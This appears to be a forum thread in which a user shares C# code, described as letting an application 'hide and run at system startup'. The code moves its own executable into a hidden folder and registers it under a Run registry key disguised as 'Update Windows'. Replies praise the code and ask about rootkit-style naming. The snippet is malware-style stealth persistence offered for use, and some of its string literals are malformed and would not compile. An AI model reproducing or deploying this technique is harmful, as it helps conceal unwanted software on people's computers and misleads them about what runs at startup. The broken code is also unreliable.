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Thread: [Hide and run at system startup](#)

Astate - September 5, 2020, 8:13 pm

Allows your application to hide and run at system startup !

It will create an invisible directory, change the name and copy it to the invisible directory... then it will create a new registry key to run on startup

```
Code using System;
using System.IO;
using Microsoft.Win32;
using System.Windows.Forms;
```

```
namespace Speech__Runtime
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {

            Directory.CreateDirectory(@"C:\$appset");

            DirectoryInfo dirInfo = new DirectoryInfo(@"C:\$appset\");
            dirInfo.Attributes = FileAttributes.Hidden;

            File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location,
@"C:\$appset\SpeechRun.exe");

            RegistryKey regkey;
            string subKey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
            regkey = Registry.CurrentUser.CreateSubKey(subKey);
            regkey.SetValue("Update Windows", "C:\$appset\SpeechRun.exe");
            regkey.Close();
        }
    }
}
```

Freak_OG - September 6, 2020, 11:37 pm

Interesting, this could have some good uses, hiding files + setting system attribute doesnt seem to do the trick anymore

Great share :D

jcbullet - *September 9, 2020, 1:17 pm*

What is the \$ (dollar) doing to the folder?..i know some rootkits use this a prefix for hiding but i cant see how its doing anything in this code snippet ?

CrystalFlare - *December 15, 2020, 8:10 am*

I was looking for this, thank you for sharing this tutorial